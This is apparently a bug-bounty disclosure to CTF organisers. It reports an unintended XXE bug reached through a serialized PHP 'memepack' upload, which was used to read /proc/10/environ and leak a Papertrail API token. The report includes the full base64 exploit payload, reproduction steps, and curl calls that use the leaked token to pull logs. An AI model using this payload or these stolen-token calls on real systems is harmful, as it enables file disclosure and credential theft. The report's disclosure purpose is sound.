Hi there dear CTF staff! First of all a huge thank you for the great challenge you put up! I've found it super exciting and the learning curve has been steep. For this case, I was first wondering if this is a part of the actual CTF, but after some inspecting, it surely doesn't seem so! I did even reach out to you via Twitter for initial confirmation. {F352815} The Case ===================== During some serious Meme generation and attempting on the CTF, I managed to reach a situation where I was able to read files from the local filesystem via XXE. After some poking around on the filesystem I was able to determin the Apache2 process id by chaining file discoveries: -> /etc/apache2/apache2.conf -> /etc/apache2/envvars -> /var/run/apache2$SUFFIX/apache2.pid, (Notes: $SUFFIX = "" and the file contains "10") -> /proc/10/environ Which contains the environment data for Apache2 as (redacted for your good!): ``` HEROKU_EXEC_URL=https://exec-manager.heroku.com/ea0bc596-REDACTED PHP_EXTRA_CONFIGURE_ARGS=--with-apxs2 --disable-cgi APACHE_CONFDIR=/etc/apache2 PHP_INI_DIR=/usr/local/etc/php SHLVL=1 PHP_EXTRA_BUILD_DEPS=apache2-dev PORT=58345 PHP_LDFLAGS=-Wl,-O1 -Wl,--hash-style=both -pie APACHE_RUN_DIR=/var/run/apache2 PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 PHP_MD5= PHP_VERSION=7.2.10 APACHE_PID_FILE=/var/run/apache2/apache2.pid GPG_KEYS=1729F83938-REDACTED B1B44D8F021E-REDACTED PHP_ASC_URL=https://secure.php.net/get/php-7.2.10.tar.xz.asc/from/this/mirror PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 _=/usr/sbin/apache2ctl PHP_URL=https://secure.php.net/get/php-7.2.10.tar.xz/from/this/mirror PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin PAPERTRAIL_API_TOKEN=ii6r9Ze-REDACTED APACHE_LOCK_DIR=/var/lock/apache2 LANG=C APACHE_RUN_USER=www-data APACHE_RUN_GROUP=www-data APACHE_LOG_DIR=/var/log/apache2 PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c PWD=/app PHP_SHA256=01c2154a3a8e3c0818acbdbc1a956832c828a0380ce6d1d14fea495ea21804f0 APACHE_ENVVARS=/etc/apache2/envvars DYNO=web.1 ``` What caught my eye were Papertrail API-token and GPG-keypair. Also Heroku Exec url is present. {F352822} So, as the ideas of this actually being a part of the CTF fading away and having nice previous record of finding and utilizing API-keys, I decided to test the Papertrail token for myself. And how about it? Works! After some poking around I landed on this: ``` curl -i -H "X-Papertrail-Token: ii6r9Ze-REDACTED" https://papertrailapp.com/api/v1/events/search.json?system_id=23562-REDACTED HTTP/1.1 200 OK Date: Sat, 29 Sep 2018 11:29:58 GMT Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN X-Rate-Limit-Limit: 25 X-Rate-Limit-Remaining: 24 X-Rate-Limit-Reset: 2 X-Shibboleet: if you see this, we'd like to get you a thank you espresso X-Runtime: 440 ETag: "6fa205988ad388afc-REDACTED" Cache-Control: private, max-age=0, must-revalidate Content-Length: 636600 Status: 200 OK Content-Type: application/json; charset=utf-8 { "min_id": "98264920-REDACTED", "max_id": "9826557-REDACTED", "events": [{ "id": "9826492-REDACTED", "source_ip": "54.205.-REDACTED", "program": "heroku/router", "message": "at=info method=GET path=\"/vendor/font-awesome/css/font-awesome.min.css\" host=h1-5411.h1ctf.com request_id=5fb495c5-7237-455b-b79d--REDACTED fwd=\"192.130.-REDACTED\" dyno=web.1 connect=0ms service=3ms status=200 bytes=7354 protocol=https ", "received_at": "2018-09-29T04:04:09-07:00", "generated_at": "2018-09-29T04:04:09-07:00", "display_received_at": "Sep 29 04:04:09", "source_id": 23562-REDACTED, "source_name": "h1-5411-2018-ctf", "hostname": "h1-5411-2018-ctf", "severity": "Info", "facility": "Local3" }, { "id": "982649204-REDACTED", "source_ip": "50.19.-REDACTED", "program": "heroku/router", "message": "at=info method=GET path=\"/vendor/jquery-easing/jquery.easing.min.js\" host=h1-5411.h1ctf.com request_id=8d7e3947-cba9-4661-a34c-1b385021600c fwd=\"192.130.-REDACTED\" dyno=web.1 connect=1ms service=2ms status=200 bytes=1130 protocol=https ", "received_at": "2018-09-29T04:04:09-07:00", "generated_at": "2018-09-29T04:04:09-07:00", "display_received_at": "Sep 29 04:04:09", "source_id": 23562-REDACTED, "source_name": "h1-5411-2018-ctf", "hostname": "h1-5411-2018-ctf", "severity": "Info", "facility": "Local3" }, ........ And so on. ``` And this particular header caught my eye: ``` X-Shibboleet: if you see this, we'd like to get you a thank you espresso ``` So here I am, writing a report about this. Steps to reproduce ===================== A good report almost always requires steps to reproduce. My apologies if this is something stupid and the read could be done more elegantly! I'll also skip the first parts of the challenge, since they're not neede to reproduce. 1. Prepare the following serialized PHP-object with a XXE payloadfor injection ``` a:2:{i:0;s:93:"../data/memes/1538175596-8bc89487fb699b9a757aaeec7cc4f19bdcfcb436cdbeac3389f8a91908721f17.txt";i:1;O:10:"ConfigFile":1:{s:10:"config_raw";s:276:"]>qwertyasdasdTEXT";}} ``` which is the following base64-string ``` YToyOntpOjA7czo5MzoiLi4vZGF0YS9tZW1lcy8xNTM4MTc1NTk2LThiYzg5NDg3ZmI2OTliOWE3NTdhYWVlYzdjYzRmMTliZGNmY2I0MzZjZGJlYWMzMzg5ZjhhOTE5MDg3MjFmMTcudHh0IjtpOjE7TzoxMDoiQ29uZmlnRmlsZSI6MTp7czoxMDoiY29uZmlnX3JhdyI7czoyNzY6Ijw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IlVURi04Ij8+PCFET0NUWVBFIGZvbyBbPCFFTEVNRU5UIGZvbyBBTlkgPjwhRU5USVRZIHh4ZSBTWVNURU0gJ3BocDovL2ZpbHRlci9jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9ZmlsZTovLy9wcm9jLzEwL2Vudmlyb24nPl0+PG1lbWU+PHRvcHRleHQ+cXdlcnR5PC90b3B0ZXh0Pjxib3R0b210ZXh0PmFzZGFzZDwvYm90dG9tdGV4dD48dGVtcGxhdGU+Jnh4ZTs8L3RlbXBsYXRlPjx0eXBlPlRFWFQ8L3R5cGU+PC9tZW1lPiI7fX0= ``` and save it as "memes.memepack" -file 2. Navigate to https://h1-5411.h1ctf.com/import_memes_2.0.php 3. Click "Choose file" and open the newly created "memes.memepack"-file 4. Open browser developer console or log requests with a proxy 5. Click "Import" 6. Inspect developer console or proxy, which should look similar to {F352830} 7. Base64-decode parameter "Template Location" after "=>", which contains the file /proc/10/environ -file 8. Profit! 9. Get the Papertrail API-token 10. Prepare Curl for example as following ``` curl -i -H "X-Papertrail-Token: [INSERT PAPERTRAIL API-TOKEN HERE]" https://papertrailapp.com/api/v1/events/search.json?q=error ``` 11. Inspect that response headers look similar to this: ``` curl -i -H "X-Papertrail-Token: ii6r9Ze-REDACTED" https://papertrailapp.com/api/v1/events/search.json?q=error HTTP/1.1 200 OK Date: Sat, 29 Sep 2018 13:08:00 GMT Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN X-Rate-Limit-Limit: 25 X-Rate-Limit-Remaining: 24 X-Rate-Limit-Reset: 5 X-Shibboleet: if you see this, we'd like to get you a thank you espresso X-Runtime: 528 ETag: "7207607ce216ca0fc-REDACTEDc" Cache-Control: private, max-age=0, must-revalidate Content-Length: 498309 Status: 200 OK Content-Type: application/json; charset=utf-8 ``` 12. Double profit! ## Impact The main impact of this vulnerability seems to be this! ``` X-Shibboleet: if you see this, we'd like to get you a thank you espresso ``` However, a malicious individual would propably harvest hacker IP-addresses and see what the other CTF contestants are doing on the box using the Papertrail token. Also GPG-keys should be kept private, as Heroku Exec manager-links. {F352838}